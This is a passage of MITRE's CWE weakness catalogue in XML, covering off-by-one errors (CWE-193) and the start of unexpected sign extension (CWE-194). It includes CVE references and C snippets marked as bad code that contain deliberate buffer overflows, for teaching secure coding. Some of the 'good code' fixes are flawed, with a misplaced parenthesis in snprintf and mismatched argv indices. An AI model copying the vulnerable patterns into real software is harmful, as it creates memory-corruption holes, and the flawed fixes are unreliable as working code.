					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="193" Name="Off-by-one Error" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A product calculates or uses an incorrect maximum or minimum
					value that is 1 more, or 1 less, than the correct value.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>617</Relationship_Target_ID>
					          <!--Reachable Assertion-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>170</Relationship_Target_ID>
					          <!--Improper Null Termination-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>875</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is not always a buffer overflow. For example, an off-by-one error
						could be a factor in a partial comparison, a read from the wrong memory
						location, an incorrect conditional, etc.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>off-by-five</Term>
					          <Alternate_Term_Description>
						            <Text>An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184),
							but that is more like a "length calculation" error.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness will generally lead to undefined behavior and therefore
							crashes. In the case of overflows involving loop index variables, the
							likelihood of infinite loops is also high.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the value in question is important to data (as opposed to flow),
							simple data corruption has occurred. Also, if the wrap around results in
							other conditions such as buffer overflows, further memory corruption may
							occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can sometimes trigger buffer overflows which can be used
							to execute arbitrary code. This is usually outside the scope of a
							program's implicit security policy.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text> When copying character arrays or using character manipulation
							methods, the correct size parameter must be used to account for the null
							terminator that needs to be added at the end of the array. Some examples
							of functions susceptible to this weakness in C include strcpy(),
							strncpy(), strcat(), strncat(), printf(), sprintf(), scanf() and
							sscanf(). </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-20">
					          <Intro_Text>The following code allocates memory for a maximum number of widgets.
						It then gets a user-specified number of widgets, making sure that the user
						does not request too many. It then initializes the elements of the array
						using InitializeWidget(). Because the number of widgets can vary for each
						request, the code inserts a NULL pointer to signify the location of the last
						widget.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int i;</Code>
							              <Code>unsigned int numWidgets;</Code>
							              <Code>Widget **WidgetList;</Code>
							              <Code/>
							              <Code>numWidgets = GetUntrustedSizeValue();</Code>
							              <Code>if ((numWidgets == 0) || (numWidgets &gt; MAX_NUM_WIDGETS))
								{</Code>
							              <Block>
								                <Code>ExitError("Incorrect number of widgets requested!");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget
								*));</Code>
							              <Code>printf("WidgetList ptr=%p\n", WidgetList);</Code>
							              <Code>for(i=0; i&lt;numWidgets; i++) {</Code>
							              <Block>
								                <Code>WidgetList[i] = InitializeWidget();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>WidgetList[numWidgets] = NULL;</Code>
							              <Code>showWidgets(WidgetList);</Code>
						            </Block>
						            <Text>However, this code contains an off-by-one calculation error. It
							allocates exactly enough space to contain the specified number of
							widgets, but it does not include the space for the NULL pointer. As a
							result, the allocated buffer is smaller than it is supposed to be
							(CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an
							off-by-one buffer overflow when the NULL is assigned. Depending on the
							environment and compilation settings, this could cause memory
							corruption.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following C/C++ example demonstrates the Off-by-one error in the
						main method of a pattern matching utility that looks for a specific pattern
						within a specific file. The main method uses the string copy method,
						strncpy, to copy the command line user input file name and pattern to the
						Filename and Pattern character arrays respectively. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int main(int argc, char **argv)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>char Filename[256];</Code>
								                <Code>char Pattern[32];</Code>
								                <Code/>
								                <Comment>/* Validate number of parameters and ensure valid content
									*/</Comment>
								                <Code>...</Code>
								                <Code/>
								                <Comment>/* copy filename parameter to variable, may cause
									off-by-one overflow */</Comment>
								                <Code>strncpy(Filename, argv[1], sizeof(Filename));</Code>
								                <Code/>
								                <Comment>/* copy pattern parameter to variable, may cause off-by-one
									overflow */</Comment>
								                <Code>strncpy(Pattern, argv[2], sizeof(Pattern));</Code>
								                <Code/>
								                <Code>printf("Searching file: %s for the pattern: %s\n", Filename,
									Pattern);</Code>
								                <Code>Scan_File(Filename, Pattern);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the calls to strncpy use the sizeof method call for the size
							parameter that does not take into account that the strncpy will add a
							null terminator to each character array. Therefore if a user enters a
							filename or pattern that are the same size as (or larger than) their
							respective character arrays a null terminator will be added beyond the
							end of the buffer for the character arrays creating an off-by-one buffer
							overflow. In addition to creating a buffer overflow that may cause a
							memory address to be overwritten, if the character arrays are output to
							the user through the printf method the memory addresses at the overflow
							location may be output to the user.</Text>
						            <Text>To fix this problem, be sure to subtract 1 from the sizeof() call to
							allow room for the null byte to be added.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Comment>/* copy filename parameter to variable, no off-by-one overflow
								*/</Comment>
							              <Code>strncpy(Filename, argv[2], sizeof(Filename)-1);</Code>
							              <Code/>
							              <Comment>/* copy pattern parameter to variable, no off-by-one overflow
								*/</Comment>
							              <Code>strncpy(Pattern, argv[3], sizeof(Pattern)-1);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Similarly, this example uses the strncat and snprintf functions
						incorrectly. The code does not account for the null character that is added
						by the second strncat function call, one byte beyond the end of the name
						buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char lastname[20];</Code>
							              <Code>char firstname[20];</Code>
							              <Code>char name[40];</Code>
							              <Code>char fullname[40];</Code>
							              <Code/>
							              <Code>strncat(name, firstname, sizeof(name));</Code>
							              <Code>strncat(name, lastname, sizeof(name));</Code>
							              <Code>snprintf(fullname, sizeof(fullname), "%s", name);</Code>
						            </Block>
						            <Text>By leaving a free byte at the end of the buffers for a null character
							to be added, the off-by-one weakness is avoided.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char lastname[20];</Code>
							              <Code>char firstname[20];</Code>
							              <Code>char name[40];</Code>
							              <Code>char fullname[40];</Code>
							              <Code/>
							              <Code>strncat(name, firstname, sizeof(name)-1);</Code>
							              <Code>strncat(name, lastname, sizeof(name)-1);</Code>
							              <Code>snprintf(fullname, sizeof(fullname)-1), "%s", name);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The Off-by-one error can also be manifested when reading characters
						of a character array using a for loop that has the incorrect size as a
						continuation condition and attempts to read beyond the end of the buffer for
						the character array as shown in the following example. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define PATH_SIZE 60</Code>
							              <Code/>
							              <Code>char filename[PATH_SIZE];</Code>
							              <Code/>
							              <Code>for(i=0; i&lt;=PATH_SIZE; i++) {</Code>
							              <Code/>
							              <Block>
								                <Code>char c = getc();</Code>
								                <Code>if (c == 'EOF') {</Code>
								                <Block>
									                  <Code>filename[i] = '\0';</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>filename[i] = getc();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text/>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>for(i=0; i&lt;PATH_SIZE; i++) {</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>As another example the Off-by-one error can occur when using the
						sprintf library function to copy a string variable to a formatted string
						variable and the original string variable comes from an untrusted source. As
						in the following example where a local function, setFilename is used to
						store the value of a filename to a database but first uses sprintf to format
						the filename. The setFilename function includes an input parameter with the
						name of the file that is used as the copy source in the sprintf function.
						The sprintf function will copy the file name to a char array of size 20 and
						specifies the format of the new variable as 16 characters followed by the
						file extension .dat.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int setFilename(char *filename) { </Code>
							              <Block>
								                <Code>char name[20]; </Code>
								                <Code>sprintf(name, "%16s.dat", filename);</Code>
								                <Code>int success = saveFormattedFilenameToDB(name);</Code>
								                <Code> return success; </Code>
							              </Block>
							              <Code>} </Code>
						            </Block>
						            <Text>However this will cause an Off-by-one error if the original filename
							is exactly 16 characters or larger because the format of 16 characters
							with the file extension is exactly 20 characters and does not take into
							account the required null terminator that will be placed at the end of
							the string.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0252</Observed_Example_Reference>
					          <Observed_Example_Description> Off-by-one error allows remote attackers to cause
						a denial of service and possibly execute arbitrary code via requests that do
						not contain newlines. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1391</Observed_Example_Reference>
					          <Observed_Example_Description> Off-by-one vulnerability in driver allows users
						to modify kernel memory. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0083</Observed_Example_Reference>
					          <Observed_Example_Description> Off-by-one error allows local users or remote
						malicious servers to gain privileges. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0653</Observed_Example_Reference>
					          <Observed_Example_Description> Off-by-one buffer overflow in function usd by
						server allows local users to execute arbitrary code as the server user via
						.htaccess files with long entries. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0844</Observed_Example_Reference>
					          <Observed_Example_Description> Off-by-one buffer overflow in version control
						system allows local users to execute arbitrary code.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1568</Observed_Example_Reference>
					          <Observed_Example_Description> Off-by-one error in FTP server allows a remote
						attacker to cause a denial of service (crash) via a long PORT command.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0346</Observed_Example_Reference>
					          <Observed_Example_Description> Off-by-one buffer overflow in FTP server allows
						local users to gain privileges via a 1024 byte RETR command.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0005</Observed_Example_Reference>
					          <Observed_Example_Description> Multiple buffer overflows in chat client allow
						remote attackers to cause a denial of service and possibly execute arbitrary
						code. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0356</Observed_Example_Reference>
					          <Observed_Example_Description> Multiple off-by-one vulnerabilities in product
						allow remote attackers to cause a denial of service and possibly execute
						arbitrary code. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1496</Observed_Example_Reference>
					          <Observed_Example_Description> Off-by-one buffer overflow in server allows
						remote attackers to cause a denial of service and possibly execute arbitrary
						code. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0342</Observed_Example_Reference>
					          <Observed_Example_Description>This is an interesting example that might not be
						an off-by-one.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0609</Observed_Example_Reference>
					          <Observed_Example_Description>An off-by-one enables a terminating null to be
						overwritten, which causes 2 strings to be merged and enable a format
						string.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1745</Observed_Example_Reference>
					          <Observed_Example_Description>Off-by-one error allows source code disclosure of
						files with 4 letter extensions that match an accepted 3-letter
						extension.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1816</Observed_Example_Reference>
					          <Observed_Example_Description>Off-by-one buffer
						overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1721</Observed_Example_Reference>
					          <Observed_Example_Description>Off-by-one error causes an snprintf call to
						overwrite a critical internal variable with a null
						value.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0466</Observed_Example_Reference>
					          <Observed_Example_Description>Off-by-one error in function used in many products
						leads to a buffer overflow during pathname management, as demonstrated using
						multiple commands in an FTP server.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0625</Observed_Example_Reference>
					          <Observed_Example_Description>Off-by-one error allows read of sensitive memory
						via a malformed request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4574</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: security monitoring product has an
						off-by-one error that leads to unexpected length values, triggering an
						assertion.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied. It requires careful code analysis or black box testing,
						where inputs of excessive length might not cause an error. Off-by-ones are
						likely triggered by extensive fuzzing, with the attendant diagnostic
						problems.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Halvar Flake</Reference_Author>
					          <Reference_Title>Third Generation Exploits</Reference_Title>
					          <Reference_Publication>presentation at Black Hat Europe
						2001</Reference_Publication>
					          <Reference_Link>http://www.blackhat.com/presentations/bh-europe-01/halvar-flake/bh-europe-01-halvarflake.ppt</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Steve Christey</Reference_Author>
					          <Reference_Title>Off-by-one errors: a brief explanation</Reference_Title>
					          <Reference_Publication>Secprog and SC-L mailing list
						posts</Reference_Publication>
					          <Reference_Date>2004-05-05</Reference_Date>
					          <Reference_Link>http://marc.theaimsgroup.com/?l=secprog&amp;m=108379742110553&amp;w=2</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>klog</Reference_Author>
					          <Reference_Title>The Frame Pointer Overwrite</Reference_Title>
					          <Reference_Publication>Phrack Issue 55, Chapter 8</Reference_Publication>
					          <Reference_Date>1999-09-09</Reference_Date>
					          <Reference_Link>http://kaizo.org/mirrors/phrack/phrack55/P55-08</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>G. Hoglund</Reference_Author>
					          <Reference_Author>G. McGraw</Reference_Author>
					          <Reference_Title>Exploiting Software: How to Break Code (The buffer overflow
						chapter)</Reference_Title>
					          <Reference_Publisher>Addison-Wesley</Reference_Publisher>
					          <Reference_PubDate>February 2004</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 5, "Off-by-One Errors", Page 180.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Off-by-one Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Guarantee that storage for strings has sufficient space for
						character data and the null terminator</Mapped_Node_Name>
					          <Mapped_Node_ID>STR31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Guarantee that storage for character arrays has sufficient
						space for character data and the null terminator</Mapped_Node_Name>
					          <Mapped_Node_ID>STR31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Common_Consequences,
						Relationships, Observed_Example, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="194" Name="Unexpected Sign Extension" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software performs an operation on a number that causes it
					to be sign extended when it is transformed into a larger data type. When the
					original number is negative, this can produce unexpected values that lead to
					resultant weaknesses.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>681</Relationship_Target_ID>
					          <!--Incorrect Conversion between Numeric Types-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Sign extension errors can lead to buffer overflows and other memory-based
						problems. They are also likely to be factors in other weaknesses that are
						not based on memory operations, but rely on numeric calculation.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry is closely associated with signed-to-unsigned conversion errors
						(CWE-195) and other numeric errors. These relationships need to be more
						closely examined within CWE.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When an unexpected sign extension occurs in code that operates
							directly on memory buffers, such as a size value or a memory index, then
							it could cause the program to write or read outside the boundaries of
							the intended buffer. If the numeric value is associated with an
							application-level resource, such as a quantity or price for a product in
							an e-commerce site, then the sign extension could produce a value that
							is much higher (or lower) than the application's allowable range.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid using signed variables if you don't need to represent negative
							values. When negative values are needed, perform sanity checks after you
							save those values to larger data types, or before passing them to
							functions that are expecting unsigned values.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-23">
					          <Intro_Text>The following code reads a maximum size and performs a sanity check
						on that size. It then performs a strncpy, assuming it will not exceed the
						boundaries of the array. While the use of "short s" is forced in this
						particular example, short int's are frequently used within real-world code,
						such as code that processes structured data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int GetUntrustedInt () {</Code>
							              <Block>
								                <Code>return(0x0000FFFF);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>void main (int argc, char **argv) {</Code>
							              <Block>
								                <Code>char path[256];</Code>
								                <Code>char *input;</Code>
								                <Code>int i;</Code>
								                <Code>short s;</Code>
								                <Code>unsigned int sz;</Code>
								                <Code/>
								                <Code>i = GetUntrustedInt();</Code>
								                <Code>s = i;</Code>
								                <Code>/* s is -1 so it passes the safety check - CWE-697 */</Code>
								                <Code>if (s &gt; 256) {</Code>
								                <Block>
									                  <Code>DiePainfully("go away!\n");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>/* s is sign-extended and saved in sz */</Code>
								                <Code>sz = s;</Code>
								                <Code/>
